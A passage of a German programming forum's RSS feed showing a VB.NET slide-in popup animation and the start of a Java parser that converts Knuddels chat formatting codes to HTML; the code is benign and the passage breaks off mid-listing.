#0000BB">InvokeRequired&nbsp;Then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim&nbsp;d&nbsp;</span><span style="color: #007700">As&nbsp;New&nbsp;</span><span style="color: #0000BB">CloseCallback</span><span style="color: #007700">(</span><span style="color: #0000BB">AddressOf&nbsp;_Close</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Me</span><span style="color: #007700">.</span><span style="color: #0000BB">Invoke</span><span style="color: #007700">(</span><span style="color: #0000BB">d</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Else<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Me</span><span style="color: #007700">.</span><span style="color: #0000BB">Close</span><span style="color: #007700">()<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">End&nbsp;</span><span style="color: #007700">If<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">End&nbsp;Sub<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">Private&nbsp;</span><span style="color: #0000BB">Sub&nbsp;Popup_Load</span><span style="color: #007700">(</span><span style="color: #0000BB">sender&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">Object</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">e&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">EventArgs</span><span style="color: #007700">)&nbsp;</span><span style="color: #0000BB">Handles&nbsp;MyBase</span><span style="color: #007700">.</span><span style="color: #0000BB">Load<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Me</span><span style="color: #007700">.</span><span style="color: #0000BB">y&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">My</span><span style="color: #007700">.</span><span style="color: #0000BB">Computer</span><span style="color: #007700">.</span><span style="color: #0000BB">Screen</span><span style="color: #007700">.</span><span style="color: #0000BB">WorkingArea</span><span style="color: #007700">.</span><span style="color: #0000BB">Height&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">Me</span><span style="color: #007700">.</span><span style="color: #0000BB">Height<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Me</span><span style="color: #007700">.</span><span style="color: #0000BB">TopMost&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">True<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Me</span><span style="color: #007700">.</span><span style="color: #0000BB">FormBorderStyle&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">Windows</span><span style="color: #007700">.</span><span style="color: #0000BB">Forms</span><span style="color: #007700">.</span><span style="color: #0000BB">FormBorderStyle</span><span style="color: #007700">.</span><span style="color: #0000BB">None<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Me</span><span style="color: #007700">.</span><span style="color: #0000BB">Location&nbsp;</span><span style="color: #007700">=&nbsp;New&nbsp;</span><span style="color: #0000BB">Point</span><span style="color: #007700">(</span><span style="color: #0000BB">My</span><span style="color: #007700">.</span><span style="color: #0000BB">Computer</span><span style="color: #007700">.</span><span style="color: #0000BB">Screen</span><span style="color: #007700">.</span><span style="color: #0000BB">WorkingArea</span><span style="color: #007700">.</span><span style="color: #0000BB">Width&nbsp;</span><span style="color: #007700">-&nbsp;</span><span style="color: #0000BB">Me</span><span style="color: #007700">.</span><span style="color: #0000BB">Width</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">y</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Me</span><span style="color: #007700">.</span><span style="color: #0000BB">t&nbsp;</span><span style="color: #007700">=&nbsp;New&nbsp;</span><span style="color: #0000BB">Threading</span><span style="color: #007700">.</span><span style="color: #0000BB">Thread</span><span style="color: #007700">(</span><span style="color: #0000BB">AddressOf&nbsp;_show</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Me</span><span style="color: #007700">.</span><span style="color: #0000BB">t</span><span style="color: #007700">.</span><span style="color: #0000BB">Start</span><span style="color: #007700">()<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">End&nbsp;Sub<br /><br />&nbsp;</span><span style="color: #007700">Private&nbsp;</span><span style="color: #0000BB">Sub&nbsp;Popup_FormClosing</span><span style="color: #007700">(</span><span style="color: #0000BB">sender&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">Object</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">e&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">FormClosingEventArgs</span><span style="color: #007700">)&nbsp;</span><span style="color: #0000BB">Handles&nbsp;Me</span><span style="color: #007700">.</span><span style="color: #0000BB">FormClosing<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Me</span><span style="color: #007700">.</span><span style="color: #0000BB">t&nbsp;</span><span style="color: #007700">=&nbsp;New&nbsp;</span><span style="color: #0000BB">Threading</span><span style="color: #007700">.</span><span style="color: #0000BB">Thread</span><span style="color: #007700">(</span><span style="color: #0000BB">AddressOf&nbsp;_hide</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Me</span><span style="color: #007700">.</span><span style="color: #0000BB">t</span><span style="color: #007700">.</span><span style="color: #0000BB">Start</span><span style="color: #007700">()<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">End&nbsp;Sub<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">Private&nbsp;</span><span style="color: #0000BB">Sub&nbsp;_show</span><span style="color: #007700">()<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;While&nbsp;</span><span style="color: #0000BB">Me</span><span style="color: #007700">.</span><span style="color: #0000BB">Location</span><span style="color: #007700">.</span><span style="color: #0000BB">Y&nbsp;</span><span style="color: #007700">&gt;=&nbsp;</span><span style="color: #0000BB">My</span><span style="color: #007700">.</span><span style="color: #0000BB">Computer</span><span style="color: #007700">.</span><span style="color: #0000BB">Screen</span><span style="color: #007700">.</span><span style="color: #0000BB">WorkingArea</span><span style="color: #007700">.</span><span style="color: #0000BB">Height&nbsp;</span><span style="color: #007700">-&nbsp;</span><span style="color: #0000BB">Me</span><span style="color: #007700">.</span><span style="color: #0000BB">Height&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">50<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Me</span><span style="color: #007700">.</span><span style="color: #0000BB">SetLocation</span><span style="color: #007700">(New&nbsp;</span><span style="color: #0000BB">Point</span><span style="color: #007700">(</span><span style="color: #0000BB">My</span><span style="color: #007700">.</span><span style="color: #0000BB">Computer</span><span style="color: #007700">.</span><span style="color: #0000BB">Screen</span><span style="color: #007700">.</span><span style="color: #0000BB">WorkingArea</span><span style="color: #007700">.</span><span style="color: #0000BB">Width&nbsp;</span><span style="color: #007700">-&nbsp;</span><span style="color: #0000BB">Me</span><span style="color: #007700">.</span><span style="color: #0000BB">Width</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">y</span><span style="color: #007700">))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Me</span><span style="color: #007700">.</span><span style="color: #0000BB">y&nbsp;</span><span style="color: #007700">-=&nbsp;</span><span style="color: #0000BB">50<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Threading</span><span style="color: #007700">.</span><span style="color: #0000BB">Thread</span><span style="color: #007700">.</span><span style="color: #0000BB">Sleep</span><span style="color: #007700">(</span><span style="color: #0000BB">50</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">End&nbsp;</span><span style="color: #007700">While<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">End&nbsp;Sub<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">Private&nbsp;</span><span style="color: #0000BB">Sub&nbsp;_hide</span><span style="color: #007700">()<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;While&nbsp;</span><span style="color: #0000BB">Me</span><span style="color: #007700">.</span><span style="color: #0000BB">Location</span><span style="color: #007700">.</span><span style="color: #0000BB">Y&nbsp;</span><span style="color: #007700">&lt;=&nbsp;</span><span style="color: #0000BB">My</span><span style="color: #007700">.</span><span style="color: #0000BB">Computer</span><span style="color: #007700">.</span><span style="color: #0000BB">Screen</span><span style="color: #007700">.</span><span style="color: #0000BB">WorkingArea</span><span style="color: #007700">.</span><span style="color: #0000BB">Height&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">Me</span><span style="color: #007700">.</span><span style="color: #0000BB">Height&nbsp;</span><span style="color: #007700">-&nbsp;</span><span style="color: #0000BB">50<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Me</span><span style="color: #007700">.</span><span style="color: #0000BB">SetLocation</span><span style="color: #007700">(New&nbsp;</span><span style="color: #0000BB">Point</span><span style="color: #007700">(</span><span style="color: #0000BB">My</span><span style="color: #007700">.</span><span style="color: #0000BB">Computer</span><span style="color: #007700">.</span><span style="color: #0000BB">Screen</span><span style="color: #007700">.</span><span style="color: #0000BB">WorkingArea</span><span style="color: #007700">.</span><span style="color: #0000BB">Width&nbsp;</span><span style="color: #007700">-&nbsp;</span><span style="color: #0000BB">Me</span><span style="color: #007700">.</span><span style="color: #0000BB">Width</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">y</span><span style="color: #007700">))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Me</span><span style="color: #007700">.</span><span style="color: #0000BB">y&nbsp;</span><span style="color: #007700">+=&nbsp;</span><span style="color: #0000BB">50<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Threading</span><span style="color: #007700">.</span><span style="color: #0000BB">Thread</span><span style="color: #007700">.</span><span style="color: #0000BB">Sleep</span><span style="color: #007700">(</span><span style="color: #0000BB">50</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">End&nbsp;</span><span style="color: #007700">While<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Me</span><span style="color: #007700">.</span><span style="color: #0000BB">_Close</span><span style="color: #007700">()<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">End&nbsp;Sub<br />End&nbsp;</span><span style="color: #007700">Class&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code></code><hr />
</div>Könnte dann so aussehen :D<br />
<div style="text-align: center;"><a style="font-weight:bold;text-decoration:none;" target="blank" href="http://i48.tinypic.com/dzh6r8.jpg"><img  style="vertical-align:text-bottom;" src="https://u-img.net/img/2542Da.png"> BILD ANZEIGEN </a> <a style="font-size:10px;text-decoration:none;" href="http://u-hacks.net/news-und-ankuendigungen-4/erlaubte-imagehoster-17046/" target="blank"> [Warum wird das Bild nicht angezeigt?]</a></div></div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>uncopyable</dc:creator>
			<guid isPermaLink="true">sourcecode-91/vb-net-antivir-einblendeffekt-17364</guid>
		</item>
		<item>
			<title>KCodeParser (KCode to HTML)</title>
			<link>sourcecode-91/kcodeparser-kcode-to-html-32262?goto=newpost</link>
			<pubDate>Thu, 02 Aug 2012 12:05:11 GMT</pubDate>
			<description>Hallo,  
hier mein KCodeParser, vielleicht kann es hier ja auch einer gebrauchen. 
 
*Funktionen:* 
Übersetzt Knuddels Codes in HTML, denn kann man...</description>
			<content:encoded><![CDATA[<div>Hallo, <br />
hier mein KCodeParser, vielleicht kann es hier ja auch einer gebrauchen.<br />
<br />
<b>Funktionen:</b><br />
Übersetzt Knuddels Codes in HTML, denn kann man dann z.B in ein JTextPane anzeigen lassen.<br />
Beispiel: _Fett_ wird zu &lt;b&gt;Fett&lt;/b&gt;<br />
<br />
<b>Folgende Knuddels Code werden unterstützt:</b><br />
<ul><li style="">_Fett_</li><li style="">&quot;Kursiv&quot;</li><li style="">°Farbe°</li><li style="">°&gt;link&lt;°</li><li style="">°&gt;Text|link&lt;°</li><li style=""># Zeilenumbruch</li><li style="">°R&gt;Text|link&lt;°</li><li style="">°12&gt;Text|link&lt;°</li><li style="">°&gt;sm_01.gif&lt;°</li><li style="">°&gt;_hJames|/serverpp &quot;&lt;°</li></ul><br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB">package&nbsp;jchat</span><span style="color: #007700">.</span><span style="color: #0000BB">tools</span><span style="color: #007700">;<br /><br /></span><span style="color: #0000BB">import&nbsp;java</span><span style="color: #007700">.</span><span style="color: #0000BB">awt</span><span style="color: #007700">.</span><span style="color: #0000BB">Color</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">import&nbsp;java</span><span style="color: #007700">.</span><span style="color: #0000BB">awt</span><span style="color: #007700">.</span><span style="color: #0000BB">Font</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">import&nbsp;java</span><span style="color: #007700">.</span><span style="color: #0000BB">util</span><span style="color: #007700">.</span><span style="color: #0000BB">regex</span><span style="color: #007700">.</span><span style="color: #0000BB">Matcher</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">import&nbsp;java</span><span style="color: #007700">.</span><span style="color: #0000BB">util</span><span style="color: #007700">.</span><span style="color: #0000BB">regex</span><span style="color: #007700">.</span><span style="color: #0000BB">Pattern</span><span style="color: #007700">;<br /><br /></span><span style="color: #FF8000">/**<br />&nbsp;*<br />&nbsp;*&nbsp;@author&nbsp;uncopyable<br />&nbsp;*<br />&nbsp;*&nbsp;Version&nbsp;1.2&nbsp;Dienstag,&nbsp;29.&nbsp;Mai&nbsp;2012&nbsp;<br />&nbsp;*<br />&nbsp;*&nbsp;Last&nbsp;Modified:&nbsp;Mittwoch,&nbsp;30.&nbsp;Mai&nbsp;2012<br />&nbsp;*&nbsp;&nbsp;-&nbsp;Schönheitskorrekturen<br />&nbsp;*<br />&nbsp;*/<br /><br /></span><span style="color: #007700">public&nbsp;class&nbsp;</span><span style="color: #0000BB">KCodeParser&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;static&nbsp;</span><span style="color: #0000BB">Color&nbsp;fontColor</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;static&nbsp;</span><span style="color: #0000BB">int&nbsp;fontSize</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;static&nbsp;</span><span style="color: #0000BB">StringBuilder&nbsp;code</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;static&nbsp;</span><span style="color: #0000BB">Font&nbsp;font</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">KCodeParser</span><span style="color: #007700">(</span><span style="color: #0000BB">Color&nbsp;fontColor</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Font&nbsp;font</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">code&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">StringBuilder</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">font&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">font</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">fontColor&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">fontColor</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">fontSize&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">font</span><span style="color: #007700">.</span><span style="color: #0000BB">getSize</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">KCodeParser</span><span style="color: #007700">()&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">code&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">StringBuilder</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">font&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">Font</span><span style="color: #007700">(</span><span style="color: #DD0000">"Arial"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Font</span><span style="color: #007700">.</span><span style="color: #0000BB">PLAIN</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">12</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">fontColor&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">(</span><span style="color: #0000BB">0</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">fontSize&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">12</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;static&nbsp;</span><span style="color: #0000BB">String&nbsp;parse</span><span style="color: #007700">(</span><span style="color: #0000BB">String&nbsp;text</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">code&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">StringBuilder</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">boolean&nbsp;escape&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">false</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">boolean&nbsp;bold&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">false</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">boolean&nbsp;italic&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">false</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;Style<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">code</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"&lt;span&nbsp;style="</span><span style="color: #0000BB">font</span><span style="color: #007700">-</span><span style="color: #0000BB">size</span><span style="color: #007700">:</span><span style="color: #DD0000">").append(fontSize).append("</span><span style="color: #0000BB">px</span><span style="color: #DD0000">"&gt;"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">code</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"&lt;font&nbsp;color="").append(Integer.toString(fontColor.getRGB()&nbsp;&amp;&nbsp;0x00ffffff,&nbsp;16)).append(""&gt;"</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;(</span><span style="color: #0000BB">int&nbsp;i&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">text</span><span style="color: #007700">.</span><span style="color: #0000BB">length</span><span style="color: #007700">();&nbsp;</span><span style="color: #0000BB">i</span><span style="color: #007700">++)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">char&nbsp;ch&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">text</span><span style="color: #007700">.</span><span style="color: #0000BB">charAt</span><span style="color: #007700">(</span><span style="color: #0000BB">i</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;switch&nbsp;(</span><span style="color: #0000BB">ch</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #DD0000">'&lt;'</span><span style="color: #007700">:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">code</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"&amp;lt;"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #DD0000">'&gt;'</span><span style="color: #007700">:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">code</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"&amp;gt;"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #DD0000">'&amp;'</span><span style="color: #007700">:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">code</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"&amp;amp;"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #DD0000">'\\'</span><span style="color: #007700">:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">i</span><span style="color: #007700">++;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;Smileys&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">case&nbsp;</span><span style="color: #DD0000">':'</span><span style="color: #007700">:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">text</span><span style="color: #007700">.</span><span style="color: #0000BB">startsWith</span><span style="color: #007700">(</span><span style="color: #DD0000">":)"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">i</span><span style="color: #007700">)&nbsp;&amp;&amp;&nbsp;(!</span><span style="color: #0000BB">escape</span><span style="color: #007700">))&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">code</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"&lt;img&nbsp;src="</span><span style="color: #0000BB">http</span><span style="color: #007700">:</span><span style="color: #FF8000">//chat.knuddels.de/pics/sm_classic_00.gif"&nbsp;alt=":)"/&gt;");<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: 